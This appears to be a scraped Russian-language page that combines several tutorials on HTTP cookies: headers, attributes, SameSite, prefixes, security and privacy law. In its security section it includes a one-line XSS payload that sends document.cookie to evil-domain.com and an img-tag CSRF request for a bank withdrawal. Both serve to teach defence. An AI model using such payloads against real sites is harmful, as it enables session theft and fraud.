В какой части запроса правильнее передавать cookie
Перейти к содержимому

В какой части запроса правильнее передавать cookie

  • автор:

Cookie в HTTP

Куки представляют собой небольшой текст, который сервер может сохранять в браузере пользователя. Сервер может установить несколько кук с разными именами.

С помощью кук сервер может идентифицировать пользователя и хранить данные каждого клиента между его запросами.

Куки передаются между клиентом и сервером с помощью HTTP заголовков (запомните, это важно). При каждом запросе браузера на сервер браузер будет отправлять все куки данного сайта на сервер.

С помощью заголовка Cookie клиент отправляет куки на сервер при каждом запросе:

Cookie: name=john

Если кука была установлена не одна, то клиент отправит их все в одном заголовке, разделив их точкой с запятой:

Cookie: name=john;surn:smit

С помощью заголовка Set-Cookie сервер может установить куку с нужным именем и значением:

Set-Cookie: name=john

Верно ли, что куки передаются через HTTP заголовки?

Где хранятся куки, на сервере или в браузере?

Каким заголовком сервер устанавливает куки?

Каким заголовком браузер отправляет куки на сервер?

Как часто браузер отправляет куки на сервер?

Откройте какой-нибудь сайт и изучите заголовки запроса и ответа. Поищите там заголовки, передающие куки.

В отладчике браузера на вкладке «Network» найдите ваш запрос. Нажмите на него. В появившихся подробностях запроса найдите вкладку «Cookies». Изучите ее.

В отладчике браузера на вкладке «Application» найдите вкладку «Cookies». Изучите куки, записанные в вашем браузере для данного сайта. Попробуйте изменить и удалить отдельные куки (осторожно, можно сломать авторизацию; убедитесь, что у вас есть пароль от этого сайта).

Cookies — Протокол HTTP

Изначально работать с HTTP было не очень просто. Дело в том, что это протокол без сохранения состояния, то есть каждый запрос-ответ не связан с предыдущим запросом-ответом. Это было неудобно, потому что иногда нам приходится запоминать информацию: например об аутентификации пользователя или о товарах в его корзине в интернет-магазине.

Тут возникает проблема: «Как запомнить, что это тот пользователь, с которым мы только что работали?». Решение этой проблемы было найдено когда был придуман механизм, который называется Cookie.

В этом уроке мы разберемся, что такое куки и как они работают.

Как работают куки

Давайте сделаем запрос к сайту Хекслета и посмотрим, как этот механизм работает. Мы будем использовать программу curl . Она позволяет делать HTTP-запросы и управлять различными их параметрами с помощью флагов. При работе с curl нам не нужно заранее устанавливать соединение и потом набирать сырой запрос. Достаточно сразу определить параметры, и curl сама отправит все нужные заголовки запроса, в том числе и по HTTPS.

Давайте выполним запрос для получения только заголовков, для этого добавим к запуску curl флаг —head:

--head https://ru.hexlet.io HTTP/2 200 server: nginx/1.19.1 date: Thu, 16 Jul 2020 03:38:11 GMT content-type: text/html; charset=utf-8 vary: Accept-Encoding x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-permitted-cross-domain-policies: none referrer-policy: strict-origin-when-cross-origin strict-transport-security: max-age=0 x-frame-options: ALLOW-FROM http://webvisor.com etag: W/"eb99fa0d6ee702b85ba2a5e9b0425aea" cache-control: max-age=0, private, must-revalidate content-security-policy: set-cookie: _hexlet_session2=AiUPd6RFbcrnoGnZSLAYSBzdJqxsQ4sTc%2BW0xXuOKzlenyv5GwkkbpdkD6IVDybDlD8vQcOcgGax98%2FmzIBJrz9f%2BDIJxWRpknZsRSfBXuC9yRfndovBUG6w4fTql4qp7zPozd2veFDLOU4koPVYiUQxgBLM6NkyYg%2Bhs%2BQe%2FSZezleVgMBVD%2FFC070DjV7t2eN01o26kcbd0pQsf9k1LE4JN0aDzSxu8elxLyAWkIJ5l3m%2BcI%2BpgOxk87Uwh9WdTHVuDaraiRaVJz1aZq5hr%2FgzaZiK%2Bgi6ChX60nhha1an610b1v3EE7xgkEM332uFPU0w675fHEr4APTdPDVtJRa3--qQi0cqcljC8i4klD--fXTErw9bhX7%2Fd1xfPE4Gww%3D%3D; domain=.hexlet.io; path=/; expires=Sun, 16 Aug 2020 03:38:11 GMT; secure; HttpOnly; SameSite=Lax set-cookie: GCLB=CLTE8bzdlaS6Zg; path=/; HttpOnly; expires=Thu, 16-Jul-2020 03:39:50 GMT x-request-id: 2f554de2-a21d-4e7d-964e-085914ac3f77 x-runtime: 0.056974 access-control-allow-origin: * via: 1.1 google alt-svc: clear 

Мы видим два заголовка, которые занимаются установкой cookie — set-cookie. Обратите внимание, что каждая cookie посылается в отдельном заголовке. Таких заголовков может быть достаточно много.

Изнутри кука представляет собой пару ключ=значение и отделяется от дополнительных параметров точкой с запятой. Куки сохраняются в браузере на клиенте и при следующем запросе он отправляет их обратно на сервер. Непосредственно в браузере они никак не используются.

Хорошая аналогия — это как получить номерок в гардеробе и потом вернуть его, чтобы понять какая куртка ваша. При этом сам номерок никакой ценности не представляет, и его нельзя использовать самостоятельно.

Куки делятся как минимум на два типа: сессионные и постоянные.

Сессионные куки

Сессионные куки в нашем запросе не устанавливаются, так как мы видим дополнительные параметры в заголовке set-cookie. Если бы их не было, то кука называлась бы сессионной. Основное их отличие от постоянных в том, что такая кука удаляется при закрытии браузера. Наглядный пример — это механизм работы галочки «запомнить меня». Если вы авторизуетесь и не отметите эту галочку, а потом закроете браузер и снова зайдете на сайт, то будете не авторизованы. Так происходит потому, что используется сессионная кука.

Постоянные куки

Вернемся к запросу выше. В этом случае устанавливаются постоянные куки. Они сохраняются на жестком диске — место их хранения может быть разным в зависимости от браузера. Такие куки отличаются от сессионных тем, что можно управлять длиной их жизни при помощи параметра expires:

expires=Thu, 16-Jul-2020 03:39:50 GMT; 

В параметре expires указывается дата удаления куки, после которой она не будет отсылаться на сервер. Стоит сказать, что есть еще один параметр, который используется для тех же целей — MAX-AGE. В его значении указывается количество секунд, по истечении которых кука будет удалена:

=2592000; 

Так как часть браузеров не поддерживают MAX-AGE, некоторые фреймворки часто устанавливают сразу оба параметра и браузеры просто игнорируют тот, который им не нужен. Таким образом заголовок set-cookie, который содержит два параметра MAX-AGE и expires, считается валидным. В стандарте также говорится, что регистр имени куки не имеет значения.

Параметры domain и path

Также можно установить еще несколько параметров. Параметры domain и path задают область видимости куки — это URL, на которые кука может отправляться. Если они не заданы, то по умолчанию кука будет пересылаться на сервер только для текущего пути и домена. В нашем примере в path указан корень сайта, то есть кука будет отправляться для всех страниц:

domain=.hexlet.io; path=/; 

Обратите внимание на одну важную деталь в этом примере. Если установлен domain=.hexlet.io, то кука будет работать не только для всех страниц сайта, но и для всех поддоменов — при этом наличие точки перед именем домена не имеет значения. Если мы совсем не установим параметр domain, то кука для поддоменов работать не будет, хотя по умолчанию значение домена будет hexlet.io.

Уникальность куки определяется тремя параметрами key (имя куки), domain и path. Это значит, что если какую-то куку нужно переустановить, то при следующем запросе в set-cookie эти параметры должны совпадать. Если хотя бы один из них отличается, то будет установлена новая кука.

Удаление куки

Заголовка для удаления куки не существует. Чтобы удалить ее, нужно установить нулевой или отрицательный MAX-AGE, либо задать expires в прошлом, тогда кука будет немедленно удалена.

HttpOnly cookie

Можно заметить, что в нашем примере установлен дополнительный параметр HttpOnly. HttpOnly-куки передаются с AJAX-запросами, но их нельзя получить через JavaScript на странице сайта. Это дополнительный уровень безопасности от XSS-атак.

Отправка на сервер

Мы обновляем страницу в браузере. После этого происходит отправка следующего заголовка:

GCLB=CLiC7uWajOOrzAE;_hexlet_session2=gu3n8MCidqZ28VfjpzJuF74d4ohla6uYq9Q%2B2XBcalsa3VUCzURBWTXvscuzSI%2BF3lnHAN%2FUt6IJnXgkH%2B6jDKgyStVb8W%2BLHwIbypoxajN3fB5ksFT3Qu28RvDQpL6hBmqq7V2eFdfLMGtkmtcpfAUYNGffwaBAlQyQKnvhkCpEf5IIWkwWfe9Nt8dG3lIueeir9fGxZP7Fpcw9IP9HfgSansgXugtFI1rw06UhgrrK%2BEnaf4EmIgVdH6KYpDBKXpUUXz8vFRvkOMX5j%2BZNMTu%2BKDBzmGlFjcm1mCZl4ozZWDCocFO4CTW7z9LmzKYbcEGkUEhRbOu%2BTvLgVo80LilK--x3y6jxx%2FjYcLp5tr--9nrQ0XmAhtGAuIFvMYvWig%3D%3D 

Открыть доступ

Курсы программирования для новичков и опытных разработчиков. Начните обучение бесплатно

  • 130 курсов, 2000+ часов теории
  • 1000 практических заданий в браузере
  • 360 000 студентов

Наши выпускники работают в компаниях:

[Перевод] Всё о файлах cookie и их безопасности

HTTP является протоколом без статических данных, что означает, что он не может различать два последовательных запроса, исходящих от одного и того же компьютера, сети или пользователя. Это было основной проблемой. Из-за этого пользователь не мог поддерживать свою сессию, и если бы мы продолжили в том же духе, интернет стал бы таким же, каким он был десять лет назад, состоящим только из кучи статичных html-страниц. Никаких учетных записей пользователей, никакой настройки и т.д., а если и есть какие-то учетные записи, то для доступа к каждой странице нужно снова и снова входить в систему.

Чтобы решить эту проблему, HTTP нужно было сделать с сохранением состояния. Ответом стал файл cookie. В отличие от cookie, которые вы получаете, это небольшие файлы, создаваемые веб-сайтом, который вы посещаете. Они генерируются веб-приложениями и хранятся в вашем браузере в виде пар ключ-значение.

Примером может служить PHPSESSID: xyjaez1081lze23, lang: en.

Давайте разберемся в этом на примере. Предположим, вы пошли в магазин и принесли оттуда посуду. Придя домой, вы обнаруживаете, что один из них сломан. Тогда вы идете к владельцу магазина и рассказываете ему о своей проблеме. Но, к вашему ужасу, он отвечает, что не знает вас. Таково было исходное состояние HTTP без файлов cookie. Веб-сервер не узнает вас при любом раскладе.

Теперь рассмотрим другой сценарий. Владелец магазина дает вам чек. На чеке есть номер. Этот номер уникален и может быть использован для вашего опознания. У него также есть копия номера, хранящаяся в его компьютере. Когда вы возвращаетесь в магазин, он просит вас предъявить чек. Он сверяет номер с номером на своем компьютере. После этого он узнает вас. Это именно то, что делает cookies, и ничем не отличается от чека, используемого для вашего запоминания.

Они также могут использоваться по различным причинам. Например:

  1. Чтобы запомнить ваши языковые предпочтения. Например, вышеуказанный файл cookie lang был установлен на en. Поскольку они были сохранены в вашем браузере, они будут отправлены на сайт, который сохранил их в первую очередь. Это веб-приложение разберет его и отправит вам английскую версию сайта.
  2. Для отслеживания вас. Они также могут использоваться для отслеживания вашей страны, города и т.д.
  3. Количество раз, когда вы обращались к бесплатной услуге.
  4. И самое важное — для сохранения данных о вашей сессии.

Какие различные флаги используются в файле Cookie?

Это могут быть небольшие файлы, но каждый Cookie сам по себе имеет сложную структуру. Сложной ее делают различные флаги, которые могут присутствовать в каждом куки. Эти флаги — не что иное, как атрибуты cookies, предназначенные для различных целей, или просто названия значений, которые могут быть использованы для идентификации этих чисел.

Давайте вкратце рассмотрим все флаги.

  1. Secure: Может быть установлен либо в true, либо в false. Если установлено значение true, cookie будет отправляться только при соединении HTTPS. Это может быть использовано для снижения риска атаки MITM, при которой злоумышленник заставляет пользователя просматривать сайт по протоколу HTTP. Если этот флаг установлен, cookie не будет передаваться по HTTP.
  2. HttpOnly: Если установлено значение true, JavaScript на стороне клиента не сможет получить доступ к файлу cookie. Это может быть использовано для сохранения cookie от XSS-атаки, которая крадет cookie. Таким образом, javascript на стороне клиента не сможет получить доступ к cookie.
  3. Domain: Содержит домен или поддомен, на который может быть отправлен файл cookie.
  4. Path: На каждом пути могут быть разные вещи. Если разработчик хочет установить разные cookie для каждого пути, он может использовать атрибут path для достижения этой цели.
  5. Expires: Используется для определения срока действия cookie.
  6. SamePath: Используется для определения условий, когда cookie могут быть отправлены при межсайтовых запросах.

Что такое атрибут domain и как он используется в Cookie?

Теперь давайте подробнее рассмотрим атрибут domain в cookie. Как следует из названия, он используется для хранения имени домена и поддомена. Оно может использоваться браузерами для определения того, на какой домен/поддомен нужно отправить cookie, а от какого следует воздержаться.

Также можно считать, что это определяет область применения cookie. Веб-приложение может иметь несколько субдоменов, и каждый субдомен может установить свой собственный файл cookie.

Предположим, что сайт www.example.com имеет 4 поддомена, и на каждом поддомене работает свой сайт на разных фреймворках. Они устанавливают свои собственные файлы cookie.

Приведенная ниже таблица хорошо это объясняет.

Cookies для соответствующих субдоменов

Так, если вы посетите сайт www.example.com, веб-приложение передаст вам PHPSESSID: wwwexample1 в виде cookie. Он будет сохранен вашим браузером, и когда вы отправите запрос обратно на www.example.com, ваш браузер отправит точно такой же файл cookie на веб-сервер. По сути, он определил атрибут домена в cookie, и если вы посещаете тот же домен, который указан в cookie, cookie будет включен в запрос.

Если вы посетите сайт sub1.example.com, веб-приложение установит, например, JSPSESSID: sub1.example2 в качестве файла cookie. Хотя домены одинаковые, то есть example.com, но субдомены разные. Таким образом, если вы отправляете запрос на сайт sub1.example.com, ваш браузер отправит JSPSESSID:sub1example2 в качестве cookie на веб-сервер.

Same Site Cookie

Это новый атрибут, который сейчас используется современными браузерами.

Давайте сначала разберемся, что такое first party и third-party cookies:

first-party cookie — это cookie, который устанавливается веб-сайтом, имеющим то же имя, что и домен, который в данный момент посещается, как отображается в адресной строке браузера. third-party cookie — это файл, который исходит от домена, отличного от того, на котором в данный момент находится пользователь.

Таким образом, атрибут «same site» устраняет пару уязвимостей, использующих атрибут domain в cookie (если запрос отправляется на домен, указанный в cookie, то cookie автоматически включается), таких как CSRF.

Так, если пользователь перенаправляется с сайта abc.com на сайт bcd.com, а в браузере есть cookie с доменом bcd.com, он будет автоматически включен в запрос перенаправления. Но если установлен атрибут cookie того же сайта, cookie не будет включен в запрос перенаправления.

В атрибуте same site есть два флага.

Strict

Если установлен атрибут strict, то даже когда пользователь переходит по обычной ссылке, опция strict запрещает браузеру передавать cookie на целевой сайт.

Lax

Значение lax является хорошим балансом между безопасностью и удобством использования для сайтов, которые хотят, чтобы пользователи оставались в системе после перехода по внешней ссылке. Таким образом, если пользователь переходит по обычной ссылке, cookie будет включен в запрос.

Заключение

Файлы cookie внесли значительный вклад в обеспечение прозрачности веб-сайтов, но они также увеличивают площадь атаки. Они могут использоваться противниками для получения контроля над привилегированными функциями, выполнения SQL-инъекций, перехвата сессий и захвата учетных записей. Конечно, все это в значительной степени зависит от типа приложения и функциональности, предоставляемой веб-приложением, и его зависимости от файлов cookie. Бывали случаи, когда злоумышленникам удавалось получить доступ к скрытым функциям, доступным только администраторам, просто подменив значения в cookies.

Как разработчик вы должны проверить, какие функциональные возможности предоставляет веб-приложение и как файлы cookie интегрированы с веб-приложением. Cookies, особенно сессионные, должны быть трудноуловимыми, а соответствующие флаги/атрибуты должны быть установлены в соответствии с вашими потребностями.

Оригинал статьи — здесь.
Поддержите автора хлопками на Medium.

Перевод статьи был выполнен проектом перевод энтузиаста:

  • �� @Ent_TranslateIB — Телеграмм канал с тематикой информационной безопасности
  • �� @Ent_Translate — Инстаграм проекта
  • cookie
  • перевод
  • translate
  • информационная безопасность
  • безопасность

HTTP-куки

HTTP cookie (web cookie, куки браузера) — это небольшой фрагмент данных, который сервер отправляет браузеру пользователя. Браузер может сохранить этот фрагмент у себя и отправлять на сервер с каждым последующим запросом. Это, в частности, позволяет узнать, с одного ли браузера пришли несколько запросов (например, для аутентификации пользователя). С помощью кук можно сохранить любую информацию о состоянии, HTTP-протокол сам по себе этого делать не умеет.

Куки часто используются для:

  • Управления сеансом (логины, корзины для виртуальных покупок)
  • Персонализации (пользовательские предпочтения)
  • Трекинга (отслеживания поведения пользователей)

До недавнего времени куки использовались в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API для хранения данных, это уже не так. Из-за того что куки пересылаются с каждым запросом, они могут ухудшать производительность (особенно при использовании мобильных сетей). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API ( localStorage и sessionStorage ) и IndexedDB.

Примечание: Чтобы посмотреть сохранённые куки и другие хранилища данных, которые использует веб-страница, можно использовать Storage Inspector (Инспектор хранилища) в инструментах разработчика.

Создание куки

Получив HTTP-запрос, вместе с ответом сервер может отправить заголовок Set-Cookie . Куки обычно запоминаются браузером и посылаются в HTTP-заголовке Cookie (en-US) с каждым новым запросом к одному и тому же серверу. Можно задать срок действия кук, а также срок их жизни, после которого куки не будут отправляться. Также можно указать ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту они будут отсылаться.

Заголовки Set-Cookie и Cookie

Заголовок Set-Cookie HTTP-ответа используется для отправки куки с сервера в клиентское приложение (браузер). Простой куки может задаваться так:

Set-Cookie: =

Этот заголовок с сервера даёт клиенту указание сохранить куки (это делают, например, PHP, Node.js, Python и Ruby on Rails). Ответ, отправляемый браузеру, содержит заголовок Set-Cookie , и куки запоминается браузером.

HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]

Теперь с каждым новым запросом к серверу при помощи заголовка Cookie (en-US) браузер будет возвращать серверу все сохранённые ранее куки.

GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Сессионные cookie

Простой cookie, пример которого приведён выше, представляет собой сессионный cookie (session cookie) — такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.

Постоянные cookies

Постоянные cookie (permanent cookies) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут Expires ) или после определённого интервала времени (атрибут Max-Age ).

Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Secure («безопасные») и HttpOnly куки

«Безопасные» (secure) куки отсылаются на сервер только тогда, когда запрос отправляется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в куках, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом Secure .

Куки HTTPonly не доступны из JavaScript через свойства Document.cookie API, что помогает избежать межсайтового скриптинга (XSS (en-US)). Устанавливайте этот флаг для тех кук, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг HttpOnly .

Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Область видимости куки

Директивы Domain и Path определяют область видимости куки, то есть те URL-адреса, к которым куки будут отсылаться.

Атрибут Domain

Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.

Например, если задано Domain=mozilla.org , то куки включены и в поддоменах, например, в developer.mozilla.org .

Атрибут Path

Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie . Символ %x2F («/») интерпретируется как разделитель в URL-пути, подпути также будут учитываться.

Если задан Path=/docs , то совпадать будут следующие пути:

  • /docs
  • /docs/
  • /docs/Web/
  • /docs/Web/HTTP

А эти пути совпадать не будут:

Куки SameSite

Куки отправляются на сервер при любых запросах, даже если запрашивается статический ресурс с чужого сервера, то есть если происходит межсайтовый запрос. Например, если страница сайта site.com содержит изображение сайта site.net, при запросе изображения в запросе будут отправлены все куки пользователя для site.net. Чтобы ограничить отправку кук только тому сайту, которому они принадлежат, используют атрибут SameSite.

C помощью атрибута SameSite можно указать, когда и как отправлять куки с межсайтовыми запросами (где сайт определяется комбинацией домена и схемы http: или https: ). В некоторой степени этот атрибут защищает от межсайтовой подделки запроса (CSRF). SameSite может принимать три возможных значения: Strict , Lax и None .

С атрибутом Strict куки будут отправляться только тому сайту, которому эти куки принадлежат. Атрибут Lax работает похоже, но куки будут отправляться также при навигации на тот сайт, которому принадлежат куки. Например, при переходе по ссылке с внешнего сайта. Атрибут None отключает ограничение на отправку кук для межсайтовых запросов, но только в безопасном контексте (то есть если установлен SameSite=None , тогда также должен быть установлен атрибут Secure ). Если атрибут SameSite не установлен, куки будут восприниматься как Lax .

-Cookie: mykey=myvalue; SameSite=Strict 

Примечание: В таблице совместимости (en-US) вы можете найти информацию о том, как обрабатываются атрибуты в конкретных версиях браузеров.

Куки с префиксами

Из-за дизайна механизма кук сервер не может подтвердить, что куки были отправлены с защищённого источника (secure origin), или быть уверенным в том, где именно они были установлены.

Уязвимое приложение поддомена может установить куку с атрибутом Domain , тем самым открывая к ней доступ на всех других поддоменнах. Этот механизм может эксплуатироваться с атакой фиксация сессии.

Примечание: Ознакомьтесь со статьёй фиксация сессии (en-US) , чтобы узнать об основных методах защиты от этой атаки.

Тем не менее в соответствии с принципом защита в глубину вы можете использовать куки с префиксами, чтобы гарантировать специфические факты о куках. Доступны два префикса:

Если в куке содержится этот префикс, она будет установлена заголовком Set-Cookie только в том случае, если кука будет содержать атрибут Secure и если запрос будет отправляться из защищённого источника. Также кука не должна включать атрибут Domain и должна содержать атрибут Path со значением / .

Если в куке содержится этот префикс, она будет установлена заголовком Set-Cookie только в том случае, если кука будет содержать атрибут Secure и если запрос будет отправляться из защищённого источника. Защита с помощью этого префикса слабее по сравнению с префиксом __Host- .

Браузеры будут отклонять установку этих кук, если они не будут удовлетворять всем ограничениям. Заметьте, что куки с префиксами, созданные в рамках поддомена, будут ограничиваться только им или будут полностью игнорироваться. Так как бэкенд проверяет только куки с заранее известными именами при авторизации пользователя или валидации CSRF-токена, куки с префиксами фактически работают как защитный механизм от фиксации сессии.

Примечание: Бэкенд веб-приложения обязан обращаться по полному имени куки, включая префикс. Пользовательские агенты не удаляют префикс из имени кук перед их отправкой в HTTP-заголовке Cookie (en-US) .

Для получения информации о статусе поддержки префиксов в разных браузерах обратитесь к статье про Set-Cookie .

Доступ из JavaScript с помощью Document.cookie

Куки можно создавать с помощью JavaScript, используя DOM-свойство Document.cookie . Также можно читать куки из JavaScript, если не был установлен атрибут HttpOnly .

.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // выведет "yummy_cookie=choco; tasty_cookie=strawberry" 

Куки, созданные с помощью JavaScript, не могут содержать атрибут HttpOnly .

Пожалуйста, учитывайте вытекающие из этого проблемы, про которые рассказывается ниже в разделе Безопасность. Куки, доступные для JavaScript, могут быть похищены посредством XSS.

Безопасность

Примечание: При сохранении информации в куках имейте в виду, что у всех пользователей есть возможность просматривать и изменять их значения. В зависимости от типа приложения вы можете использовать ни о чём не говорящее имя для идентификатора кук, смысл которого будет понятен только бэкенду. Также вы можете рассмотреть возможность использования альтернативных механизмов аутентификации и конфиденциальности, например, JSON Web Tokens

Способы предотвращения атак, использующих куки:

  • Используйте атрибут HttpOnly для предотвращения доступа к кукам из JavaScript.
  • Куки, которые используются для хранения чувствительной информации, такой как аутентификационный токен, должны иметь короткое время жизни и атрибут SameSite , установленный в Strict или Lax . Для того чтобы узнать больше, смотрите раздел SameSite. В браузерах с поддержкой SameSite это гарантирует предотвращение отправки кук аутентификации с межсайтовыми запросами, фактически такие запросы с точки зрения бэкенда становятся неаутентифицированными.

Захват сессии (session hijacking) и XSS

Куки часто используются в веб-приложениях для идентификации аутентифицированного пользователя и сеанса работы. Соответственно, похищение кук из приложения может привести к захвату авторизованного сеанса пользователя. Кража кук часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости XSS (en-US).

new Image().src = "http://www.evil-domain.com/steal-cookie.php?cookie token operator">+ document.cookie; 

Атрибут HttpOnly помогает уменьшить эту угрозу, перекрывая доступ к кукам из JavaScript.

Межсайтовая подделка запроса (CSRF — Cross-site request forgery)

В Wikipedia есть хороший пример CSRF. В сообщение, например, в чате или на форуме, включают «изображение», которое, на самом деле, представляет собой запрос к серверу банка на снятие денег:

img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" /> 

Если вы аутентифицированны в своём банковском аккаунте, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа форума или чата с этим изображением деньги будут переведены с вашего счета. Для защиты от этого используется ряд методов:

  • Как и при XSS (en-US), важна фильтрация входящей информации.
  • Для любой чувствительной операции должно запрашиваться подтверждение.
  • Куки, используемые для чувствительных операций, должны иметь короткий срок действия.
  • Дополнительную информацию можно получить в пользовательской инструкции по предотвращению CSRF на сайте OWASP.

Трекинг и приватность

Сторонние (Third-party) куки

Куки ассоциируются с определённым доменом и схемой (такой как http: или https: ). Также они могут быть ассоциированы с поддоменом с помощью атрибута Domain . Если домен и схема кук совпадает с доменом и схемой текущей страницы, на которой вы находитесь, то их называют собственными куками (first-party cookies). Если домен и схема кук отличается от домена и схемы текущей страницы, то такие куки называют сторонними куками (third-party cookies).

Сервер, хостящий страницу, устанавливает собственные куки, но на странице могут находиться изображения и другие компоненты с других доменов (например, баннерная реклама), они в свою очередь могут устанавливать сторонние куки. Сторонние куки часто используются для рекламы и трекинга пользователей в сети. Как пример, можете посмотреть куки, которые устанавливает Google.

Третья сторона, контролирующая внедрение сторонних кук, может создать профиль пользователя на основе истории его посещений разных сайтов с помощью кук, отправляемых одним и тем же браузером с разных сайтов. Firefox по умолчанию блокирует сторонние куки, про которые известно, что они используются для трекинга пользователей. Сторонние куки (или просто куки для трекинга) могут также быть заблокированы другими настройками браузера или расширениями. Блокировка кук в некоторых ситуациях может стать причиной некорректного поведения сторонних компонентов, например, виджетов социальных сетей.

Примечание: Бэкенд может (и должен) устанавливать у кук атрибут SameSite (en-US) для управления отправкой кук на сторонние серверы.

Законодательство, связанное с куки

Регулирующие акты и законодательство, покрывающие куки, включают:

  • General Data Privacy Regulation (GDPR) в Европейском Союзе
  • ePrivacy Directive в Европейском Союзе
  • California Consumer Privacy Act в Штате Калифорния

Эти акты и директивы действуют глобально. Они применяются ко всем сайтам во Всемирной паутине, к которым пользователи из данных юрисдикций получают доступ (Европейский Союз и Калифорния, с оговоркой, что Калифорнийский закон применяется к компаниям с доходом выше 25 миллионов долларов и несколькими другими оговорками).

Эти акты и директивы включают такие требования как:

  • Сообщать пользователям, что сайт использует куки.
  • Давать возможность пользователям отказываться от получения всех или некоторых кук.
  • Давать возможность пользователям использовать основные функции вашего сервиса без получения кук.

Могут существовать другие законодательные акты, которые применимы к вашей локальной юрисдикции. На вас лежит ответственность знать про них и следовать им. Существуют компании, которые предлагают код с «куки баннером» и берут на себя заботы о следовании законодательству, связанному с куками.

Другие способы хранения информации в браузере

Другой способ для хранения данных в браузере — Web Storage API. Свойства window.sessionStorage и window.localStorage подобны сессионным и постоянным кукам, но позволяют хранить больше данных и никогда не отправляются на сервер. Для хранения ещё большего объёма структурированных данных может использоваться IndexedDB API или библиотеки, построенные поверх него.

Существуют техники для повторной установки кук после их удаления. Такие куки называются куки-зомби. Эти техники нарушают принципы приватности пользователей и пользовательского контроля и могут нарушать законодательства, регулирующие приватность данных, соответственно, использующий их сайт подвержен судебному разбирательству.

Читайте также

  • Set-Cookie
  • Cookie (en-US)
  • Document.cookie
  • Navigator.cookieEnabled
  • SameSite cookies (en-US)
  • Inspecting cookies using the Storage Inspector
  • Cookie specification: RFC 6265
  • Cookies, the GDPR, and the ePrivacy Directive
  • HTTP cookie on Wikipedia

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *